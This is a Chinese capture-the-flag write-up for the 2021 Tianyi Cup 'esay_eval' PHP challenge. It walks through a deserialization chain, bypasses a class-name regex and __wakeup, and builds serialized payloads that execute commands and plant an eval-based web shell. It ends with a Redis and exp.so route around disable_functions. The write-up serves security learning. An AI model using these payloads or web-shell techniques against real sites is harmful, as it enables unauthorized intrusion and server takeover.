[天翼杯 2021]esay_eval - RCE(disabled_function绕过||AS_Redis绕过)+反序列化(大小写&wakeup绕过)

[天翼杯 2021]esay_eval

  • [1 解题流程](#1 解题流程)
    • [1.1 分析](#1.1 分析)
    • [1.2 解题](#1.2 解题)
      • [1.2.1 一阶段](#1.2.1 一阶段)
      • [1.2.2 二阶段](#1.2.2 二阶段)
  • 二、思考总结

题目代码:

php 复制代码
<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }
}else{
    highlight_file(__FILE__);
} 

1 解题流程

1.1 分析

1、看代码,有unserialize函数,说明要反序列化

2、有 eval($this->code) ,说明要RCE

3、有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);,说明要绕过waf

4、A的wakeup里面会把code置空,所以要绕过

起点:B(destruct)  终点:A(call)

链条:B(destruct::a=$a)-> A(call::code=命令)

1.2 解题

1.2.1 一阶段

  1. 构造序列化代码(根据waf,传输的内容不能带有大写AB,所以把代码都用小写ab表示)

    php 复制代码
    <?php
    class a{
        public $code = "phpinfo();";
    }
    class b{
        function __destruct(){
            echo $this->a->a();
        }
    }
    $a = new a();
    $b = new b();
    $b->a = $a;
    echo serialize($b);

    得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

  2. 绕过wakeup

    得到:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

  3. 传参得到

  4. 构造序列化代码(输出flag)

    php 复制代码
    	<?php
    	class a{
    	    public $code = "system('ls');";
    	}
    	class b{
    	    function __destruct(){
    	        echo $this->a->a();
    	    }
    	}
    	$a = new a();
    	$b = new b();
    	$b->a = $a;
    	echo serialize($b);
    	
    	得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}
    	改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}

    发现页面无法执行,说明肯定有限制了,不然不会不输出

  5. 查看disable_function

    原来是这里限制了,那么需要改变战略,直接上传个一句话试试

  6. 构造序列化代码(一句话)

    php 复制代码
    	<?php
    	class a{
    	    //public $code = '<?php @eval($_POST["pwd"]) ?>';
    	    public $code = '@eval($_POST["pwd"]);';
    	}
    	class b{
    	    function __destruct(){
    	        echo $this->a->a();
    	    }
    	}
    	$a = new a();
    	$b = new b();
    	$b->a = $a;
    	echo serialize($b);
    	
    	得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}
    	改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}

    蚁剑成功连接

1.2.2 二阶段

这里有两种不同的解法:

  1. disabled_function绕过
  2. AS_Redis绕过
    连接后查看config.php.swp,密码you_cannot_guess_it,同时上传exp.so
    使用redis插件连接,执行命令即可

二、思考总结

这道题目有个很有意思的地方,eval执行命令为什么不能显示?这个问题一开始给我搞蒙圈了,知道phpinfo可以执行的时候,突然想到我们不当当可以把phpinfo当做测试命令去看有没有回显,更可以去看phpinfo里面的配置,查看配置很可能就是解题的关键!

相关推荐
hikktn1 小时前
如何在 Rust 中实现内存安全:与 C/C++ 的对比分析
c语言·安全·rust
ketil271 小时前
Redis - String 字符串
数据库·redis·缓存
23zhgjx-NanKon3 小时前
华为eNSP:QinQ
网络·安全·华为
23zhgjx-NanKon3 小时前
华为eNSP:mux-vlan
网络·安全·华为
昔我往昔3 小时前
阿里云文本内容安全处理
安全·阿里云·云计算
王佑辉3 小时前
【redis】延迟双删策略
redis
生命几十年3万天3 小时前
redis时间优化
数据库·redis·缓存
Shenqi Lotus5 小时前
Redis-“自动分片、一定程度的高可用性”(sharding水平拆分、failover故障转移)特性(Sentinel、Cluster)
redis·sentinel·cluster·failover·sharding·自动分片·水平拆分
centos085 小时前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf
棱角~~5 小时前
盘点和嗨格式一样好用的10款数据恢复!!
数据库·经验分享·安全·电脑·学习方法